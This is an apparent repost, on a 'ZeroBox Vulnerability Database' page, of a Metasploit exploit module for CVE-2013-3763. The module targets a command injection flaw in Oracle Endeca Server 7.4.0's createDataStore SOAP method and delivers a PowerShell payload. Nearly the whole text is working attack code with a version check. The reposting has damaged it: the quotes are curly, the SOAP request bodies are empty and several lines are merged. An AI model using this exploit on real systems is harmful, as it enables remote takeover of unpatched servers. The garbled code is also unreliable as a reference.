ZeroBox Vulnerability Database

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize super( 'Name' => ‘Oracle Endeca Server Remote Command Execution’,
‘Description’ => %q{
This module exploits a command injection vulnerability on the Oracle Endeca
Server 7.4.0. The vulnerability exists on the createDataStore method from the
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
branch and isn’t available on the 7.5.5.1 branch. On the other hand, the injection
has been found to be Windows specific. This module has been tested successfully
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
},
‘Author’ => [
‘rgod ‘, # Vulnerability discovery
‘juan vazquez’ # Metasploit module
],
‘Platform’ => ‘win’,
‘Arch’ => [ ARCH_X86_64, ARCH_X86 ],
‘References’ =>
[
[ ‘CVE’, ‘2013-3763’ ],
[ ‘BID’, ‘61217’ ],
[ ‘OSVDB’, ‘95269’ ],
[ ‘URL’, ‘http://www.zerodayinitiative.com/advisories/ZDI-13-190/’ ],
[ ‘URL’, ‘http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html’ ]
],
‘Targets’ =>
[
[ ‘Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits’, { } ]
],
‘DefaultTarget’ => 0,
‘Privileged’ => false,
‘DisclosureDate’ => ‘Jul 16 2013’
)

register_options(
[
Opt::RPORT(7770),
OptString.new(‘TARGETURI’, [true, ‘The URI path of the Control Web Service’, ‘/ws/control’])
], self.class)
end

def peer
return “#{rhost}:#{rport}”
end

def version_soap
soap = <<-eos





eos

return soap
end

def create_data_store_soap(name, files)
soap = <<-eos




#{name}
#{files}




eos

return soap
end

def check

res = send_request_soap(version_soap)

if res.nil? or res.code != 200 or res.body !~ /versionResponse/
return Exploit::CheckCode::Safe
end

version_match = res.body.match(/Oracle Endeca Server ([0-9\.]*) /)

if version_match.nil?
return Exploit::CheckCode::Unknown
else
version = version_match[1]
end

print_status(“#{peer} – Version found: Oracle Endeca Server #{version}”)

if version =~ /7\.4\.0/ and version <= "7.4.0.787" return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def send_request_soap(data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path),
‘method’ => ‘POST’,
‘ctype’ => ‘text/xml; charset=utf-8’,
‘headers’ =>
{
‘SOAPAction’ => “\”\””
},
‘data’ => data
})

return res
end

def exploit
command = cmd_psh_payload(payload.encoded)
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, “#{peer} – The selected paylod is too long to execute through powershell in one command”)
end
print_status(“#{peer} – Exploiting through Powershell…”)
execute_command(command)
end

def execute_command(cmd)
# HTML encode ampersands so SOAP is correctly interpreted
cmd.gsub!(/&/, “&”)
injection = “c:\\"& #{cmd} &"”
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
begin
res = send_request_soap(exploit_data)
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don’t exist/ )
print_status(“#{res.code}\n#{res.body}”) if res
fail_with(Failure::UnexpectedReply, “#{peer} – Unable to execute the CMD Stager”)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, “#{peer} – Unable to connect”)
end
end

end